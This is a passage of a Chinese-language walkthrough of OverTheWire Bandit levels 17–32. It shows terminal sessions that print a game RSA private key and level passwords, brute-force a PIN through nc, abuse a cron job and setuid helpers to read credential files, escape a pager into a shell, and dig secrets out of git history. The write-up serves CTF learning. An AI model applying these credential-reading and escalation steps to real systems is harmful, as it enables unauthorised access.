    0070 - 69 c1 c0 b9 16 18 3d 5c-c4 db 4f b9 06 bf 6c 6f   i.....=\..O...lo
    0080 - 51 c4 99 60 fa 03 55 af-ad 46 ed e1 53 0f 92 65   Q..`..U..F..S..e
    0090 - 57 82 b9 5b ce 5b 40 37-4f d5 a8 a3 27 63 b9 2d   W..[.[@7O...'c.-
    00a0 - 6b e4 ea 11 f2 9f c3 f7-82 3d 16 4e 2b 40 d3 25   k........=.N+@.%
    00b0 - 50 10 0f aa 74 30 49 da-c8 01 32 23 c0 b7 3c 8b   P...t0I...2#..<.
    00c0 - 97 8d 24 10 2d 93 73 04-33 01 d9 70 92 26 4e fc   ..$.-.s.3..p.&N.

    Start Time: 1689568162
    Timeout   : 7200 (sec)
    Verify return code: 10 (certificate has expired)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: A0EF32E17C1AC0960FD46EE50181836B83644B2168CDC3087A3612EC77D9A111
    Session-ID-ctx:
    Resumption PSK: 117786B647299C2A691BD342EDC8E39A7899490BE868D804415203AED03876A67C51CE8E55D236DAC96130391C36759A
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19   ..K...#(d.$.....
    0010 - f3 b6 fd 9d 6e e3 35 98-ad 1d df 9e 75 38 c5 47   ....n.5.....u8.G
    0020 - 15 7a c4 8f 31 3b 39 1e-ef 1c f2 56 f2 61 48 a9   .z..1;9....V.aH.
    0030 - 36 ae 3d 66 e9 0d 0f ff-07 39 33 77 d7 87 8c 63   6.=f.....93w...c
    0040 - fb 00 ab 1e 27 3a 91 ed-24 49 b6 e2 9d 49 a6 2b   ....':..$I...I.+
    0050 - 90 ce a6 8b ea 1c bd f5-38 77 83 fc 9b 4c b4 49   ........8w...L.I
    0060 - 3b d9 7c bb 52 0b 2d 38-88 a5 80 b0 8e 80 5d 66   ;.|.R.-8......]f
    0070 - 1e 0b 9d 10 b2 81 11 51-0a 30 60 ec b9 2d d2 5e   .......Q.0`..-.^
    0080 - 64 66 87 44 84 78 f8 e5-2b 62 cb 5f 84 aa 50 01   df.D.x..+b._..P.
    0090 - 5d d6 62 fd e8 8b f8 fc-91 0c 8a f9 a7 12 6e ae   ].b...........n.
    00a0 - b9 40 f2 4f 90 01 0e 30-cf bf 16 3a b5 96 fc 3a   .@.O...0...:...:
    00b0 - 9b a5 e0 4a 54 df eb 39-68 be 05 77 6b 50 d7 a3   ...JT..9h..wkP..
    00c0 - 87 0e 7d bf 33 1a 9e 31-40 b6 3e 5e 1f a9 cf d6   ..}.3..1@.>^....

    Start Time: 1689568162
    Timeout   : 7200 (sec)
    Verify return code: 10 (certificate has expired)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
JQttfApK4SeyHwDlI9SXGR50qclOAil1
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

closed

返回了正确的密钥,然后写入/tmp下的某个文件,然后给它只有自己可读可写即可

# 首先需要在tmp下新建一个文件夹,然后把密钥写进去,然后chmod 666那个文件
bandit16@bandit:/tmp/a$ ssh -i 1.private bandit17@localhost -p 2220
--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us on discord or IRC.

  Enjoy your stay!

bandit17@bandit:~$

level18

直接diff

bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< glZreTEH1V3cGKL6g4conYqZqaEj0mte
---
> hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg
bandit17@bandit:~$

然后登录,然后就是:

┌─[myc@ubuntu22]─[~]
└──╼[13:02:46]$ ssh bandit18@bandit.labs.overthewire.org -p 2220
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:

      ,----..            ,----,          .---.
     /   /   \         ,/   .`|         /. ./|
    /   .     :      ,`   .'  :     .--'.  ' ;
   .   /   ;.  \   ;    ;     /    /__./ \ : |
  .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
  ;   |  ; \ ; | |    :     | /___/ \ |    ' '
  |   :  | ; | ' ;    |.';  ; ;   \  \;      :
  .   |  ' ' ' : `----'  |  |  \   ;  `      |
  '   ;  \; /  |     '   :  ;   .   \    .\  ;
   \   \  ',  /      |   |  '    \   \   ' \ |
    ;   :    /       '   :  |     :   '  |--"
     \   \ .'        ;   |.'       \   \ ;
  www. `---` ver     '---' he       '---" ire.org


Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

  This machine might hold several wargames.
  If you are playing "somegame", then:

    * USERNAMES are somegame0, somegame1, ...
    * Most LEVELS are stored in /somegame/.
    * PASSWORDS for each level are stored in /etc/somegame_pass/.

  Write-access to homedirectories is disabled. It is advised to create a
  working directory with a hard-to-guess name in /tmp/.  You can use the
  command "mktemp -d" in order to generate a random and hard to guess
  directory in /tmp/.  Read-access to both /tmp/ is disabled and to /proc
  restricted so that users cannot snoop on eachother. Files and directories
  with easily guessable or short names will be periodically deleted! The /tmp
  directory is regularly wiped.
  Please play nice:

    * don't leave orphan processes running
    * don't leave exploit-files laying around
    * don't annoy other players
    * don't post passwords or spoilers
    * again, DONT POST SPOILERS!
      This includes writeups of your solution on your blog or website!

--[ Tips ]--

  This machine has a 64bit processor and many security-features enabled
  by default, although ASLR has been switched off.  The following
  compiler flags might be interesting:

    -m32                    compile for 32bit
    -fno-stack-protector    disable ProPolice
    -Wl,-z,norelro          disable relro

  In addition, the execstack tool can be used to flag the stack as
  executable on ELF binaries.

  Finally, network-access is limited for most levels by a local
  firewall.

--[ Tools ]--

 For your convenience we have installed a few useful tools which you can find
 in the following locations:

    * gef (https://github.com/hugsy/gef) in /opt/gef/
    * pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
    * peda (https://github.com/longld/peda.git) in /opt/peda/
    * gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
    * pwntools (https://github.com/Gallopsled/pwntools)
    * radare2 (http://www.radare.org/)

 Both python2 and python3 are installed.

--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us on discord or IRC.

  Enjoy your stay!

Byebye !
Connection to bandit.labs.overthewire.org closed.

level19

这个,告诉了你文件名和位置,可以直接读,而不是链接一个bash

因此可以玩儿一个骚操作

┌─[Fail][myc@ubuntu22]─[~]
└──╼[13:09:29]$ ssh bandit18@bandit.labs.overthewire.org -p 2220 -t cat readme
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:
awhqfNnAbc1naukrpqDYcF95h7HoMTrC
Connection to bandit.labs.overthewire.org closed.

level20

就是运行这个小文件

bandit19@bandit:~$ ./bandit20-do --help
Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.

Mandatory arguments to long options are mandatory for short options too.
  -i, --ignore-environment  start with an empty environment
  -0, --null           end each output line with NUL, not newline
  -u, --unset=NAME     remove variable from the environment
  -C, --chdir=DIR      change working directory to DIR
  -S, --split-string=S  process and split S into separate arguments;
                        used to pass multiple arguments on shebang lines
      --block-signal[=SIG]    block delivery of SIG signal(s) to COMMAND
      --default-signal[=SIG]  reset handling of SIG signal(s) to the default
      --ignore-signal[=SIG]   set handling of SIG signals(s) to do nothing
      --list-signal-handling  list non default signal handling to stderr
  -v, --debug          print verbose information for each processing step
      --help     display this help and exit
      --version  output version information and exit

A mere - implies -i.  If no COMMAND, print the resulting environment.

SIG may be a signal name like 'PIPE', or a signal number like '13'.
Without SIG, all known signals are included.  Multiple signals can be
comma-separated.

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation <https://www.gnu.org/software/coreutils/env>
or available locally via: info '(coreutils) env invocation'
bandit19@bandit:~$ ./bandit20-do NAME=11020 cat /etc/bandit_pass/bandit20
VxCazJaVykI6W36BkBU0mJTCM8rR95XT
bandit19@bandit:~$

level21

直接看图 level20-21

NvEJF7oVjkddltPSrdKEFOllh9V1IBcq

level22

就是看守护进程在运行哪个脚本,然后跟着去找。

bandit21@bandit:~$ man cron
bandit21@bandit:~$ man crontab
bandit21@bandit:~$ man 5 crontab
bandit21@bandit:~$ cd /etc/cron.d/
bandit21@bandit:/etc/cron.d$ ll
total 56
drwxr-xr-x   2 root root  4096 Apr 23 18:05 ./
drwxr-xr-x 108 root root 12288 Jun 10 22:51 ../
-rw-r--r--   1 root root    62 Apr 23 18:04 cronjob_bandit15_root
-rw-r--r--   1 root root    62 Apr 23 18:04 cronjob_bandit17_root
-rw-r--r--   1 root root   120 Apr 23 18:04 cronjob_bandit22
-rw-r--r--   1 root root   122 Apr 23 18:04 cronjob_bandit23
-rw-r--r--   1 root root   120 Apr 23 18:04 cronjob_bandit24
-rw-r--r--   1 root root    62 Apr 23 18:04 cronjob_bandit25_root
-rw-r--r--   1 root root   201 Jan  8  2022 e2scrub_all
-rwx------   1 root root    52 Apr 23 18:05 otw-tmp-dir*
-rw-r--r--   1 root root   102 Mar 23  2022 .placeholder
-rw-r--r--   1 root root   396 Feb  2  2021 sysstat
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit15_root
* * * * * root /usr/bin/cronjob_bandit15_root.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit17_root
* * * * * root /usr/bin/cronjob_bandit17_root.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff
bandit21@bandit:/etc/cron.d$

level23

和上面那个题几乎一样

bandit22@bandit:~$ cd /etc/cron.d/
bandit22@bandit:/etc/cron.d$ ll
total 56
drwxr-xr-x   2 root root  4096 Apr 23 18:05 ./
drwxr-xr-x 108 root root 12288 Jun 10 22:51 ../
-rw-r--r--   1 root root    62 Apr 23 18:04 cronjob_bandit15_root
-rw-r--r--   1 root root    62 Apr 23 18:04 cronjob_bandit17_root
-rw-r--r--   1 root root   120 Apr 23 18:04 cronjob_bandit22
-rw-r--r--   1 root root   122 Apr 23 18:04 cronjob_bandit23
-rw-r--r--   1 root root   120 Apr 23 18:04 cronjob_bandit24
-rw-r--r--   1 root root    62 Apr 23 18:04 cronjob_bandit25_root
-rw-r--r--   1 root root   201 Jan  8  2022 e2scrub_all
-rwx------   1 root root    52 Apr 23 18:05 otw-tmp-dir*
-rw-r--r--   1 root root   102 Mar 23  2022 .placeholder
-rw-r--r--   1 root root   396 Feb  2  2021 sysstat
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:/etc/cron.d$

拿到脚本以后直接执行一下,不过需要注意用户是bandit23,因为whoami输出的是bandit22

bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G

level24

还是那几步,然后看到了这玩意儿

bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -rf ./$i
    fi
done
bandit23@bandit:/var/spool/bandit24$ ll
total 12
dr-xr-x---  3 bandit24 bandit23 4096 Apr 23 18:04 ./
drwxr-xr-x  5 root     root     4096 Apr 23 18:04 ../
drwxrwx-wx 13 root     bandit24 4096 Jul 17 06:58 foo/
bandit23@bandit:/var/spool/bandit24$
# 这里我根本没有写的权限,题改了???????

那也简单,就是把脚本放在foo底下

脚本就是一个输出,水的一批

#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /tmp/bandit23/pass

然后执行脚本就行,最后得到如下结果:

VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

level25

要写爆破脚本

bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

Fail! You did not supply enough data. Try again.
^C
bandit24@bandit:~$

脚本如下:

#! /bin/bash
pass24="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"
for i in {0..9}{0..9}{0..9}{0..9}
do
    echo $pass24' '$i >> mydict
done
echo "done loop!"
cat ./mydict | nc localhost 30002 >> re
sort re | uniq -u

上边儿有个题貌似应该用-u的,G

最后得到如下结果:

The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

level26

登陆上以后出现如下内容:

bandit25@bandit:~$ ll
total 32
drwxr-xr-x  2 root     root     4096 Apr 23 18:04 ./
drwxr-xr-x 70 root     root     4096 Apr 23 18:05 ../
-rw-r-----  1 bandit25 bandit25   33 Apr 23 18:04 .bandit24.password
-r--------  1 bandit25 bandit25 1679 Apr 23 18:04 bandit26.sshkey
-rw-r--r--  1 root     root      220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root     root     3771 Jan  6  2022 .bashrc
-rw-r-----  1 bandit25 bandit25    4 Apr 23 18:04 .pin
-rw-r--r--  1 root     root      807 Jan  6  2022 .profile
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost -p 2220
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit25/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit25/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

!!! You are trying to log into this SSH server with a password on port 2220 from localhost.
!!! Connecting from localhost is blocked to conserve resources.
!!! Please log out and log in again.


      ,----..            ,----,          .---.
     /   /   \         ,/   .`|         /. ./|
    /   .     :      ,`   .'  :     .--'.  ' ;
   .   /   ;.  \   ;    ;     /    /__./ \ : |
  .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
  ;   |  ; \ ; | |    :     | /___/ \ |    ' '
  |   :  | ; | ' ;    |.';  ; ;   \  \;      :
  .   |  ' ' ' : `----'  |  |  \   ;  `      |
  '   ;  \; /  |     '   :  ;   .   \    .\  ;
   \   \  ',  /      |   |  '    \   \   ' \ |
    ;   :    /       '   :  |     :   '  |--"
     \   \ .'        ;   |.'       \   \ ;
  www. `---` ver     '---' he       '---" ire.org


Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

  This machine might hold several wargames.
  If you are playing "somegame", then:

    * USERNAMES are somegame0, somegame1, ...
    * Most LEVELS are stored in /somegame/.
    * PASSWORDS for each level are stored in /etc/somegame_pass/.

  Write-access to homedirectories is disabled. It is advised to create a
  working directory with a hard-to-guess name in /tmp/.  You can use the
  command "mktemp -d" in order to generate a random and hard to guess
  directory in /tmp/.  Read-access to both /tmp/ is disabled and to /proc
  restricted so that users cannot snoop on eachother. Files and directories
  with easily guessable or short names will be periodically deleted! The /tmp
  directory is regularly wiped.
  Please play nice:

    * don't leave orphan processes running
    * don't leave exploit-files laying around
    * don't annoy other players
    * don't post passwords or spoilers
    * again, DONT POST SPOILERS!
      This includes writeups of your solution on your blog or website!

--[ Tips ]--

  This machine has a 64bit processor and many security-features enabled
  by default, although ASLR has been switched off.  The following
  compiler flags might be interesting:

    -m32                    compile for 32bit
    -fno-stack-protector    disable ProPolice
    -Wl,-z,norelro          disable relro

  In addition, the execstack tool can be used to flag the stack as
  executable on ELF binaries.

  Finally, network-access is limited for most levels by a local
  firewall.

--[ Tools ]--

 For your convenience we have installed a few useful tools which you can find
 in the following locations:

    * gef (https://github.com/hugsy/gef) in /opt/gef/
    * pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
    * peda (https://github.com/longld/peda.git) in /opt/peda/
    * gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
    * pwntools (https://github.com/Gallopsled/pwntools)
    * radare2 (http://www.radare.org/)

 Both python2 and python3 are installed.

--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us on discord or IRC.

  Enjoy your stay!

  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to localhost closed.
bandit25@bandit:~$

这一步需要知道etc/passwd的内容,这里有个中文博客

bandit25@bandit:~$ cat /etc/passwd | grep "bandit26"
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0
bandit25@bandit:~$

发现使用more展示,这里就可以把窗口缩小,让他一下子展示不完需要翻页即可,然后进入vim模式就可以进行搜索啊、编辑啊之类的事了,就解决了。

:r /etc/bandit_pass/bandit26
c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1

level27

这一题和level26一样,还得缩小terminal,这个不会,看的网上的题解。

:set shell sh=/bin/sh
:sh
$ ll
/bin/sh: 1: ll: not found
$ ls -al
total 44
drwxr-xr-x  3 root     root      4096 Apr 23 18:04 .
drwxr-xr-x 70 root     root      4096 Apr 23 18:05 ..
-rw-r--r--  1 root     root       220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root     root      3771 Jan  6  2022 .bashrc
-rw-r--r--  1 root     root       807 Jan  6  2022 .profile
drwxr-xr-x  2 root     root      4096 Apr 23 18:04 .ssh
-rwsr-x---  1 bandit27 bandit26 14876 Apr 23 18:04 bandit27-do
-rw-r-----  1 bandit26 bandit26   258 Apr 23 18:04 text.txt
$ file bandit27-do
bandit27-do: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c148b21f7eb7e816998f07490c8007567e51953f, for GNU/Linux 3.2.0, not stripped
$ ./bandit27-do
Run a command as another user.
  Example: ./bandit27-do id
$ ./bandit27-do cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

level28

使用git仓库

bandit27@bandit:/tmp/a$ git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit27/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit27-git@localhost's password:
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/a$ ll
total 10564
drwxrwxr-x   3 bandit27 bandit27     4096 Jul 19 02:08 ./
drwxrwx-wt 317 root     root     10801152 Jul 19 02:08 ../
drwxrwxr-x   3 bandit27 bandit27     4096 Jul 19 02:08 repo/
bandit27@bandit:/tmp/a$ cd repo/
bandit27@bandit:/tmp/a/repo$ ll
total 16
drwxrwxr-x 3 bandit27 bandit27 4096 Jul 19 02:08 ./
drwxrwxr-x 3 bandit27 bandit27 4096 Jul 19 02:08 ../
drwxrwxr-x 8 bandit27 bandit27 4096 Jul 19 02:08 .git/
-rw-rw-r-- 1 bandit27 bandit27   68 Jul 19 02:08 README
bandit27@bandit:/tmp/a/repo$ cat README
The password to the next level is: AVanL161y9rsbcJIsFHuw35rjaOM19nR
bandit27@bandit:/tmp/a/repo$

level29

还是老规矩

bandit28@bandit:/tmp/b$ git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit28/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit28-git@localhost's password:
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
bandit28@bandit:/tmp/b$ cd repo/
bandit28@bandit:/tmp/b/repo$ ll
total 16
drwxrwxr-x 3 bandit28 bandit28 4096 Jul 19 02:11 ./
drwxrwxr-x 3 bandit28 bandit28 4096 Jul 19 02:11 ../
drwxrwxr-x 8 bandit28 bandit28 4096 Jul 19 02:11 .git/
-rw-rw-r-- 1 bandit28 bandit28  111 Jul 19 02:11 README.md
bandit28@bandit:/tmp/b/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx

bandit28@bandit:/tmp/b/repo$ git log
commit 899ba88df296331cc01f30d022c006775d467f28 (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    fix info leak

commit abcff758fa6343a0d002a1c0add1ad8c71b88534
Author: Morla Porla <morla@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    add missing data

commit c0a8c3cf093fba65f4ee0e1fe2a530b799508c78
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    initial commit of README.md

这是典型的git泄露

bandit28@bandit:/tmp/b/repo$ git diff 899b abcf
diff --git a/README.md b/README.md
index 5c6457b..b302105 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
 ## credentials

 - username: bandit29
-- password: xxxxxxxxxx
+- password: tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S

bandit28@bandit:/tmp/b/repo$

level30

下载下来以后,一开始以为是stash,然后发现不是,那么查看别的分支。

bandit29@bandit:/tmp/c/repo$ git stash list
bandit29@bandit:/tmp/c/repo$ git branch  -a
* master
  remotes/origin/HEAD -> origin/master
  remotes/origin/dev
  remotes/origin/master
  remotes/origin/sploits-dev
bandit29@bandit:/tmp/c/repo$

然后切换分支即可

bandit29@bandit:/tmp/c/repo$ git checkout dev
Branch 'dev' set up to track remote branch 'dev' from 'origin'.
Switched to a new branch 'dev'
bandit29@bandit:/tmp/c/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS

bandit29@bandit:/tmp/c/repo$

level31

这个不会,看了一下网上的答案,这玩意儿叫引用,这里是Git Pro教程

bandit30@bandit:/tmp/d/repo$ git show-ref
59530d30d299ff2e3e9719c096ebf46a65cc1424 refs/heads/master
59530d30d299ff2e3e9719c096ebf46a65cc1424 refs/remotes/origin/HEAD
59530d30d299ff2e3e9719c096ebf46a65cc1424 refs/remotes/origin/master
831aac2e2341f009e40e46392a4f5dd318483019 refs/tags/secret
bandit30@bandit:/tmp/d/repo$ git show 831a
OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt
bandit30@bandit:/tmp/d/repo$

level32

push文件

bandit31@bandit:/tmp/d/repo$ git add -f ./key.txt
bandit31@bandit:/tmp/d/repo$ git commit -m "add key.txt"
[master 462b8a5] add key.txt
 1 file changed, 1 insertion(+)
 create mode 100644 key.txt
bandit31@bandit:/tmp/d/repo$ git push
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
